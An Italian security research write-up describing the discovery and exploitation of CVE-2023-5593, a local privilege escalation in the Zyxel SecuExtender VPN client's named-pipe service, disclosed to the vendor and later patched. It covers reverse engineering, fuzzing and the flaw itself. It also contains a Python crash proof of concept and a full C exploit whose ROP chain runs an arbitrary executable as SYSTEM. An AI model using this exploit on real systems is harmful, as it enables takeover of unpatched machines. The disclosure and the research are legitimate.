Introduzione

Durante le vacanze estive, ci siamo dedicati ad una ricerca low level con l’obiettivo di trovare una vulnerabilità di memory corruption, in particolare, focalizzandoci su un modo per ottenere un privilege escalation sul sistema operativo Windows. Abbiamo iniziato osservando i processi in esecuzione su una delle nostre macchine Windows, controllando quali di essi avessero anche privilegi amministrativi, notando che molti di essi erano dei client VPN. Tra questi ne abbiamo scelto uno in particolare: Zyxel SecuExtender.

Reverse engineering

Per prima cosa, è stato necessario capire come interagire con la parte del software eseguita con privilegi amministrativi. Abbiamo proceduto quindi con il reverse engineering del client VPN con lo scopo di capire come funzionasse internamente. Dall’analisi iniziale, abbiamo notato che il software ha due componenti principali:

  • Un processo eseguito con privilegi non amministrativi che ha il solo scopo di fornire un’interfaccia utente dove è possibile inserire le credenziali della connessione VPN e l’endpoint finale.
  • Un processo eseguito come servizio con privilegi amministrativi, che gestisce la connessione VPN.

I due processi comunicano tra di loro tramite le PIPE di Windows. Ad esempio, quando un utente vuole collegarsi alla VPN, il processo non privilegiato invia un messaggio sulla PIPE al servizio di sistema chiedendogli di aprire una connessione VPN verso l’endpoint desiderato. Di seguito abbiamo riportato uno schema riassuntivo per comprendere meglio il quadro generale:

Alt text

A questo punto, la nostra prima idea, è stata quella di emulare il processo non privilegiato in modo da comunicare con il servizio di sistema tramite le PIPE. Ma quali messaggi inviare sul canale? Bella domanda! La nostra opera di reverse è continuata con il software Ghidra, cercando di capire dove i messaggi vengono letti e gestiti. Cercando delle reference per la Windows API CreateNamedPipeW sul processo di sistema abbiamo identificato le seguenti due porzioni di codice:

Alt text

Alt text

La prima figura mostra il punto in cui i messaggi vengono letti e la seconda dove vengono parsificati. Riassumendo, in totale abbiamo trovato le seguenti cinque tipologie di messaggi:

  • UPDATE
  • CREATE
  • REMOVE
  • RESTOR
  • INITIAL

dove ognuna di loro ha uno scopo diverso. Lo step successivo è stato quello di trovare un bug sfruttabile utilizzando uno di questi messaggi. Per fare ciò abbiamo utilizzato il seguente approccio: abbiamo creato un mini fuzzer (molto semplice) con l’obiettivo di provare a trovare qualche bug sui messaggi.

Trovare la vulnerabilità

Il nostro semplice programma generatore di messagi, parte da un template di messaggio ben definito e genera messaggi validi inviandoli al servizio di sistema. La speranza era quella di osservarne un crash dovuto alla lettura dei messaggi generati dal mini fuzzer. Dopo poche esecuzioni del fuzzer, siamo riusciti a ottenere un crash del servizio con il seguente messaggio:

CREATE 0/403887772864467 1037 09035079829 7915 6979528277580614 44924170 4202 46300462169498 3481845313273432 44778514306310 383 93900 17816 97572341451 03371 22993517 095345192 63447 269 53748436725923 502921508 13764031 61856158699813 76789794853256 2696 847928471842318 757238 661 9857579 06331 3929229

Interessante, ma cosa è successo? Per capire meglio abbiamo indagato con il debugger x64dbg. Collegando il debugger al processo e inviando nuovamente il messaggio sulla PIPE, siamo riusciti a riprodurre il crash trovando il punto esatto in cui il programma ha terminato l’esecuzione:

Alt text

Osservando attentamente lo screenshot, è possibile vedere che il processo tenta di accedere ad una zona di memoria situata dopo lo stack, causanto un access violation. Reversando il codice su Ghidra, è possible vedere che la causa del bug è dovuta ad un loop infinito che si presenta poiché la condizione param_1[0x1c] <= uVar5 dell’if non viene mai raggiunta.

Alt text

A questo punto è stato necessario capire perché il valore param_1[0x1c] risulta essere troppo grande. Osservando l’inizializzazione della variabile nella funzione, è possibile vedere che essa è uno dei parametri della funzione:

Alt text

e andando ad ispezionare le referenze alla funzione, abbiamo trovato che tale funzione viene chiamata da quella che esegue il parsing del messaggio della PIPE:

Alt text

Abbiamo notato che durante il parsing di un messaggio di tipo CREATE, vengono eseguite delle operazioni sulla variabile param_1[0x1c], in particolare è possibile osservare che l’indice utilizzato per modificare il valore dell’array param_1 viene preso sempre dall’array param_1!

Alt text

Molto probabilmente, grazie all’indice ottenuto in questa porzione di codice, viene salvato un valore non corretto sulla variabile param_1[0x1c], causando il crash. Tuttavia, il comportamento di questa porzione di codice è interessante poiché un valore non corretto viene assegnato nell’array param_1 e l’indice utilizzato viene ottenuto dallo stesso array param_1. Questa è la tipica condizione che si riesce a riscontrare in vulnerabilità di write-what-where.

Come ottenere però il controllo dell’indice e assegnare un valore particolare nell’array? Osservando attentamente le istruzioni prima dell’assegnamento, è possibile vedere che viene eseguita l’API StrToIntW, con lo scopo di convertire una stringa in un intero; più precisamente, la stringa convertita viene ottenuta dalla variabile ppWVar2. La variabile ppWVar2 viene inizializzata all’inizio della funzione utilizzando l’API CommandLineToArgW, come mostra il seguente screenshot:

Alt text

Il primo parametro della funzione è proprio il messaggio da noi inviato sulla PIPE! Quindi, siccome lo scopo dell’API CommandLineToArgW è quello di prendere una stringa e spezzarla usando come carattere delimitatore lo spazio ( ) e il valore ritornato è un array composto dalle parole della stringa, la variabile ppWVar2 è un array che contiene valori del messaggio ricevuto sulla PIPE. Qui sotto è riportato uno schema che riassume il contenuto della variabile, invece la variabile local_c rappresenta semplicemente la dimensione dell’array param_1:

Alt text

Ritornando sull’assegnamento della variabile param_1[0x1c], visto che abbiamo il controllo sulla variabile ppWVar2 che è utilizzata per cambiare i valori dell’array param_1 e siccome abbiamo anche il controllo sulla dimensione di ppWVar grazie alla variabile local_c, possiamo sovrascrivere con un valore arbitrario il contenuto della variabile param_1[0x1c]. Nota che la dimensione di param_1 è 31 (è possibile trovare l’assegnamento reversando la funzione che riceve il messaggio dalla PIPE). Adesso abbiamo tutto il necessario per provare a sfruttare la vulnerabilità di write-what-where!

Prendere il controllo del registro EIP

Siccome la variabile param_1 è sullo stack (dal precedente crash, il processo aveva provato ad accedere ad un indirizzo sullo stack), possiamo provare a modificare l’indice preso da param_1, utilizzandolo per referenziare un indirizzo arbitrario sullo stack, ad esempio provando a modificare un indirizzo di ritorno 🙂.

Per capire come prendere il controllo del registro eip, prendiamo in considerazione un messaggio arbitrario:

CREATE 0/1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 4294967267 1094795585 1 2 3 4 5 6 7 8 9 1 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

Come primo passo, il messaggio viene diviso e l’array ppWVar2 creato. Nell’immagine qui sotto è possibile osservare una rappresentazione dell’operazione effettuata dall’API CommandLineToArgW:

Alt text

Come mostra l’immagine, la variabile ppWVar2 è un array di 90 elementi e di conseguenza il valore della variabile local_c è uguale a 90. Invece, la lunghezza dell’array param_1 è sempre 31. Con questi valori, è già possibile chiaramente osservare la vulnerabilità di out-of bound siccome la variabile local_c è molto più grande della dimensione dell’array param_1. Dopo l’inizializzazione, siccome è un messaggio di tipo CREATE, verrà eseguito il seguente ciclo:

Alt text

Come prima cosa, la variabile contatore param_1[0x1c] è inizializzata con il valore 0 alla linea 117, mentre la seconda variabile contatore iVar3 viene inizializzata al valore 6 ed infine il while loop viene eseguito. Nella prima esecuzione del ciclo, il contatore param_1[0x1c] è uguale a 0 il che significa che l’indice della linea 123 è uguale a 4, invece l’indice della linea 126 è uguale a 0xe che in decimale corrisponde a 14. Dopo la prima esecuzione del ciclo while, lo stack sarà come quello rappresentato nella seguente figura:

Alt text

come possiamo vedere, il valore della variabile iVar5 è ottenuto dall’output dell’API StrToIntW ed è salvato come elemento nella seguente cella dell’array param_1[param_1[0x1c] + 0xe] ossia param_1[0xe] siccome param_1[0x1c] è uguale a 0, infatti, nello stack si può vedere il valore 7. Adesso, siccome l’obiettivo è sovrascrivere il contatore posizionato all’indice 0x1c, è necessario raggiungere questa posizione e siccome 0xe + 0xe = 0x1c è necessario effettuare altre 0xe iterazioni per sovrascrivere la variabile param_1[0x1c]. Quindi, dopo 14 iterazioni, lo stack sarà simile alla seguente rappresentazione:

Alt text

Alla linea 123, nella variabile iVar5 è salvato il valore 33 del messaggio CREATE e questo valore è assegnato alla variabile param_1[param_1[0x1c] + 0x3] dove param_1[0x1c] equivale a 13 e quindi il valore 33 è salvato nella variabile param_1[0x1b], la posizione prima dell’obiettivo. Ora, questo significa che alla prossima iterazione è possibile sovrascrivere il contatore param_1[0x1c]! Di seguito una rappresentazione grafica dello stack dopo 15 iterazioni:

Alt text

Adesso, come è possibile osservare, il valore della variabile param_1[0x1c] è stato sovrascritto con il valore -29 (questo perché StrToIntW("4294967267") = -29), quindi l’indice ora punta all’indirizzo di ritorno. Infine, grazie a questo indice modificato, è possibile sovrascrivere l’indirizzo di ritorno, come è possibile osservare nella seguente rappresentazione:

Alt text

In questo modo, alla linea 122, nella variabile iVar5 è salvato il valore 0x41414141🙂 ed è assegnato alla linea 123 sull’elemento dell’array param_1[-29 + 4] che punta proprio all’indirizzo di ritorno.

Con il seguente pyhton script è possibile inviare questo messaggio modificato sulla PIPE del processo inserendo nel registro eip il valore 0x41414141:

import win32pipe
import win32file

pipe_name = r'\\.\pipe\SecuExtenderHelperPipe'

def send_string_to_pipe(pipe_name, message):
    global pipe_handle
    try:
        pipe_handle = win32file.CreateFile(
            pipe_name,
            win32file.GENERIC_READ | win32file.GENERIC_WRITE,
            0,
            None,
            win32file.OPEN_EXISTING,
            0,
            None
        )
        
        win32pipe.SetNamedPipeHandleState(
            pipe_handle,
            win32pipe.PIPE_READMODE_MESSAGE,
            None,
            None
        )
        win32file.WriteFile(pipe_handle, message.encode('utf-16-le'))
        #win32file.CloseHandle(pipe_handle)
        print("Message sent successfully.")
    except Exception as e:
        print("Error:", e)

def test_payload(msg):
    send_string_to_pipe(pipe_name, msg)

p = 'CREATE 0/1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 4294967267 1094795585 1 2 3 4 5 6 7 8 9 1 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1'
test_payload(p)

Qui sotto, invece è presente il valore del registro eip dopo il crash 🥳:

Alt text

Exploitation

Adesso che abbiamo ottenuto il controllo del registro eip sul servizio di sistema, possiamo andare allo step successivo: ottenere l’esecuzione di codice tramite una ROP chain. Per capire quanto spazio avevamo a disposizione sullo stack per la ROP chain, abbiamo prima provato ad inviare altre BBBBBBB..., utilizzando il seguente messaggio:

CREATE 0/1 2 3 4 5 6 7 8 9 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 3 3 3 4294967267 1094795585 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594 5 1111638594

dove il valore intero 1111638594, quando passato come argomento all’API StrToIntW ritorna come risultato 0x42424242. Infatti, inviando il messaggio, è possibile osservare il seguente stack su x64dbg:

Alt text

confermandoci di avere abbastanza spazio per la ROP chain. Il passo successivo è stato quello di cercare un insieme di gadget per l’exploit in modo da riuscire ad eseguire l’API ShellExecuteA con un eseguibile contenente una reverse shell come parametro, tenendo a mente che i parametri devono essere inseriti sullo stack poiché l’eseguibile vulnerabile è a 32 bit. Qui sotto è possibile osservare uno screenshot della documentazione di Microsoft dove è possibile vedere i parametri dell’API:

Alt text

Con questo in mente, il layout dello stack con la ROP chain dovrebbe essere come quello della seguente immagine:

Alt text

dove la variabile param3 e param6 sono obbligatorie e il valore della variabile param3 deve essere un puntatore ad una stringa contenente il nome di un eseguibile che l’API ShellExecuteA dovrebbe eseguire. In tutto questo c’è solo un “piccolo” problema: quale indirizzo di memoria è possibile utilizzare come puntatore alla stringa? La nostra prima idea è stata di utilizzare un indirizzo che punta allo stack del processo, un posto in cui abbiamo la possibilità di scrivere tramite la vulnerabilità write-what-where. In questo modo lo schema della ROP chain diventa come quello dell’immagine seguente:

Alt text

quindi, non ci resta che cercare qualche gadget che ci permetta di scrivere una stringa arbitraria in una locazione dello stack. Per ottenere un indirizzo dello stack valido abbiamo deciso di utilizzare il contenuto del registro esp, siccome all’interno è presente l’indirizzo dello stack, in questo modo, con questo valore, possiamo modificare e calcolare l’area dove vogliamo scrivere la stringa contenente l’eseguibile. Qui sotto è possibile vedere una rappresentazione dello stack utilizzando il valore esp:

Alt text

Riassumendo, i passaggi necessari per creare la ROP chain e raggiungere l’obiettivo sono i seguenti:

  • Utilizzare un gadget per salvare il valore del registro esp
  • Modificare il valore salvato del registro esp in modo da puntare ad un area di memoria scrivibile che conterrà la stringa
  • Salvare il nuovo valore calcolato sullo stack così che può essere utilizzato come argomento della funzione ShellExecuteA
  • Scrivere la stringa nella zona di memoria puntata dall’indirizzo appena calcolato
  • Infine eseguire la funzione ShellExecuteA

Per effettuare questi passaggi, abbiamo cercato i gadgets necessari all’interno di una DLL utilizzata dal servizio, focalizzandoci su ucrtbase.dll e abbiamo creato la seguente ROP chain:

	// 0x100a00fa : mov edi, esp ; dec ecx ; ret
	// 0x100317b0 : mov eax, edi ; pop edi ; pop esi ; ret
	// 0x0        : dummy for pop edi
	// 0x0        : dummy for pop esi
	// 0x10003cae : inc eax ; ret
	// 0x100b70c4 : add dword ptr [eax + 0x5f], eax ; pop esi ; pop ebp ; ret // save on esi 0x6f
	// 0x6f       : offset to point to the correct location of string path (add dword ptr [eax], esi ; ret)
	// 0x0        : dummy for pop ebp
	// 0x10015712 : pop ecx ; ret
	// 0x0        : offset to increment stack value pointer on eax (correct offset)
	// 0x1002afaa : add eax, ecx ; ret
	// 0x1000480b : add dword ptr [eax], esi ; ret
	
	for (int i = 0; i < 6; i++) {
		// 0x100195bd : nop ; ret
	}
	// 0x10015712 : pop ecx ; ret


	for (int i = 0; i < 2; i++) {
		// 0x100195bd : nop ; ret
	}

	//ShellExecuteA(NULL, NULL, "cmd.exe", NULL, NULL, SW_SHOW);
	// &ShellExecuteA
	// dummy data
	// param1: HWND hwnd
	// param2: LPCSTR lpOperation
	// param3: LPCSTR lpFile => pointer to stack string
	// param4: LPCSTR lpParameters
	// param5: LPCSTR lpDirectory
	// param6: INT nShowCmd

	for (int i = 0; i < strlen(path); i += 4) {
		// string to path
	}

	for (int i = 0; i < 11; i++) {
		// final padding with null byte
    }

Come prima cosa, viene salvato il valore del registro esp (contenente l’indirizzo dello stack) nel registro edi con il gadget mov edi, esp in modo da non modificare direttamente il contenuto di esp, mentre la parte aggiuntiva del gadget (dec ecx) non è importante al fine del nostro scopo nonostante faccia parte del gadget. Dopo di che, abbiamo utilizzato il gadget mov eax, edi per muovere il valore dello stack nel registri eax, operazione eseguita poiché non erano presenti altri gadget utili per modificare direttamente il registro edi. Successivamente, con il gadget add dword ptr [eax + 0x5f], eax ; pop esi ; pop ebp ; ret è stata effettuata un’operazione importante: salvare il valore dello stack sullo stack (in modo da salvare il parametri della funzione ShellExecuteA) tramite add dword ptr [eax + 0x5f], eax che significa: “salva sullo stack all’offset 0x5f il valore dello stack”.

Alt text

A questo punto, è stato salvato il puntatore dello stack sullo stack, ma ora è necessario modificarne il valore in modo da puntare correttamente alla stringa. Per effettuare questo passaggio, come prima cosa, abbiamo salvato nel registro esi il valore 0x6f (grazie all’istruzione pop esi eseguita dopo add dword ptr [eax + 0x5f], eax) e come secondo step è stato salvato il valore 0x5f sul registro ecx con l’istruzione pop ecx. Con il valore 0x5f e con l’istruzione add eax, ecx abbiamo fatto in modo di far puntare correttamente il registro eax all’argomento della funzione ShellExecuteA con il valore 0x6f e l’istruzione add dword ptr [eax], esi; ret è stato modificato l’argomento della funzione ShellExecuteA in modo da far puntare correttamente alla stringa. Sotto è riportato la porzione della ROP chain utilizzata per cambiare il valore del puntatore alla stringa e un’immagine che rappresenta la situazione in memoria:

...
// 0x100b70c4 : add dword ptr [eax + 0x5f], eax ; pop esi ; pop ebp ; ret // save on esi 0x6f
// 0x6f       : offset to point to the correct location of string path (add dword ptr [eax], esi ; ret)
// 0x0        : dummy for pop ebp
// 0x10015712 : pop ecx ; ret
// 0x5f       : offset to increment stack value pointer on eax (correct offset)
// 0x1002afaa : add eax, ecx ; ret
// 0x1000480b : add dword ptr [eax], esi ; ret
...

Alt text Alt text

Bene, adesso che è stato inserito l’indirizzo corretto della stringa sullo stack, è possibile saltare all’indirizzo della funzione ShellExecuteA eseguendo comandi arbitrari con privilegi di sistema 🤯. Qui sotto è possibile osservare il codice completo dell’exploit.

Alt text

#include <stdio.h>
#include <Windows.h>
#include <wchar.h>

/*
Tested on:
* Windows 11 Home Edition, Build 22621.2134
* Zyxel VPN Client SecuExtender 4.0.4.0 Release Date Jan 25 2021
*/

LPWSTR a(PVOID address) {
	LPWSTR pAddr = NULL;
	pAddr = (LPWSTR)HeapAlloc(GetProcessHeap(), 0, 20);
	wsprintfW(pAddr, L"5 %u ", (unsigned int)address);
	return pAddr;
}

LPWSTR a2(PVOID address) {
	LPWSTR pAddr = NULL;
	pAddr = (LPWSTR)HeapAlloc(GetProcessHeap(), 0, 20);
	wsprintfW(pAddr, L"%u ", (unsigned int)address);
	return pAddr;
}

int wmain(int argc, WCHAR** argv)
{
	PVOID pGetDays = NULL;
	PVOID ucrtbase = 0x0;
	PVOID getDays_offset = 0x34800;
	PVOID pShellExecuteA = &ShellExecuteA;
	LPWSTR p = NULL;
	HANDLE hServer = NULL;

	if (argc != 2) {
		printf("Usage: VPwN.exe C:\\path\\executable.exe\n");
		return -1;
	}
	LPCWSTR wPath = argv[1];
	//LPCWSTR wPath = L"C:\\Users\\sk4\\s.exe";
	char* path = (char*)malloc(wcslen(wPath) + 1);

	wcstombs_s(NULL, path, wcslen(wPath) + 1, wPath, wcslen(wPath) + 1);
	//char* path = "C:\\Users\\sk4\\s.exe";

	p = (LPWSTR)HeapAlloc(GetProcessHeap(), 0, 2048);

	// 4294967267 is the offset -29 (maybe) that point to the return address to overwrite
	lstrcpyW(p, L"CREATE 0/1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 4294967267 ");

	pGetDays = GetProcAddress(LoadLibrary(TEXT("ucrtbase")), "_Getdays");
	
	printf("[*] _Getdays address 0x%p\n", pGetDays);

	ucrtbase = (int)pGetDays - (int)getDays_offset;
	printf("[*] Base of ucrtbase.dll 0x%p\n", ucrtbase);
	printf("[*] ShellExecuteA address 0x%p\n", pShellExecuteA);

	//GADGET
	PVOID mov_edi_esp = (int)ucrtbase + (int)0xa00fa;
	PVOID mov_eax_edi = (int)ucrtbase + (int)0x317b0;
	PVOID inc_eax_ret = (int)ucrtbase + (int)0x3cae;
	PVOID add_dword_ptr_eax_eax = (int)ucrtbase + (int)0xb70c4;
	PVOID pop_exc = (int)ucrtbase + (int)0x15712;
	PVOID add_eax_ecx = (int)ucrtbase + (int)0x2afaa;
	PVOID add_dword_ptr_eax_esi = (int)ucrtbase + (int)0x480b;
	PVOID nop_ret = (int)ucrtbase + (int)0x195bd;
	
	// below there is the payload for crash with EIP value 0x41414141 
	// wsprintfW(p, L"%s", L"CREATE 0/1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 4294967267 1094795585 1 2 3 4 5 6 7 8 9 1 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1");

	lstrcatW(p, a2(mov_edi_esp));					// 0x100a00fa : mov edi, esp ; dec ecx ; ret
	lstrcatW(p, a(mov_eax_edi));					// 0x100317b0 : mov eax, edi ; pop edi ; pop esi ; ret
	lstrcatW(p, a(0));								// dummy for pop edi
	lstrcatW(p, a(0));								// dummy for pop esi
	lstrcatW(p, a(inc_eax_ret));					// 0x10003cae : inc eax ; ret
	lstrcatW(p, a(add_dword_ptr_eax_eax));			// 0x100b70c4 : add dword ptr [eax + 0x5f], eax ; pop esi ; pop ebp ; ret // save on esi 0x6f
	lstrcatW(p, a(0x6f));							// offset to point to the correct location of string path (add dword ptr [eax], esi ; ret)
	lstrcatW(p, a(0));								// dummy for pop ebp
	lstrcatW(p, a(pop_exc));						// 0x10015712 : pop ecx ; ret
	lstrcatW(p, a(0x5f));							// offset to increment stack value pointer on eax (correct offset)
	lstrcatW(p, a(add_eax_ecx));					// 0x1002afaa : add eax, ecx ; ret
	lstrcatW(p, a(add_dword_ptr_eax_esi));			// 0x1000480b : add dword ptr [eax], esi ; ret
	
	for (int i = 0; i < 6; i++) {
		lstrcatW(p, a(nop_ret));					// 0x100195bd : nop ; ret
	}
	lstrcatW(p, a(pop_exc));						// 0x10015712 : pop ecx ; ret


	for (int i = 0; i < 2; i++) {
		lstrcatW(p, a(nop_ret));					// 0x100195bd : nop ; ret
	}

	//ShellExecuteA(NULL, NULL, "cmd.exe", NULL, NULL, SW_SHOW);
	lstrcatW(p, a(pShellExecuteA));					// &ShellExecuteA
	lstrcatW(p, a(0x41424344));						// dummy data
	lstrcatW(p, a(0));								// param1: HWND hwnd
	lstrcatW(p, a(0));								// param2: LPCSTR lpOperation
	lstrcatW(p, a(0));								// param3: LPCSTR lpFile => pointer to stack string
	lstrcatW(p, a(0));								// param4: LPCSTR lpParameters
	lstrcatW(p, a(0));								// param5: LPCSTR lpDirectory
	lstrcatW(p, a(5));								// param6: INT nShowCmd

	for (int i = 0; i < strlen(path); i += 4) {
		int z = *((int*)(path + i));
		lstrcatW(p, a(z));							// string to path
	}

	for (int i = 0; i < 11; i++) {
		lstrcatW(p, a(0));							// final padding with null byte
	}

	wprintf(L"[DEBUG] Payload value: %s\n", p);
	
	hServer = CreateFileW(L"\\\\.\\pipe\\SecuExtenderHelperPipe", 0xc0000000, 0, (LPSECURITY_ATTRIBUTES)0x0, 3, 0, (HANDLE)0x0);
	if (hServer == INVALID_HANDLE_VALUE) {
		printf("[-] Failed to open target pipe\n");
		return -1;
	}

	DWORD test = 0;
	WriteFile(hServer, p, 0x400, (LPDWORD)&test, (LPOVERLAPPED)0x0);
}

Conclusioni

La procedura per poter arrivare a compromettere il client VPN scelto per la ricerca, sebbene sia alquanto lunga, ci ha portati all’esecuzione di comandi arbitrari sulla macchina locale. In seguito alla comunicazione, Zyxel ha proceduto velocemente a indagare e porre rimedio alla vulnerabilità. E’ interessante osservare come software che spesso è necessario per poter lavorare da remoto possa essere sfruttato per aggirare la configurazione del sistema. Tirando le somme, grazie alla scoperta di questa vulnerabilità ci siamo divertiti con un bel privilege escalation su Windows e la scrittura dell’exploit ci ha permesso di approfondire concetti interessati legati a Windows internal e binary exploitation. Sicuramente questo bug è solo il primo di una lunga serie (si spera 🙂).

Timeline

  • 11/10/2023 Contatto con il vendor Zyxel
  • 25/10/2023 Zyxel conferma la vulnerabilità e assegna il CVE-2023-5593
  • 21/11/2023 Zyxel pubblica la patch e il security advisory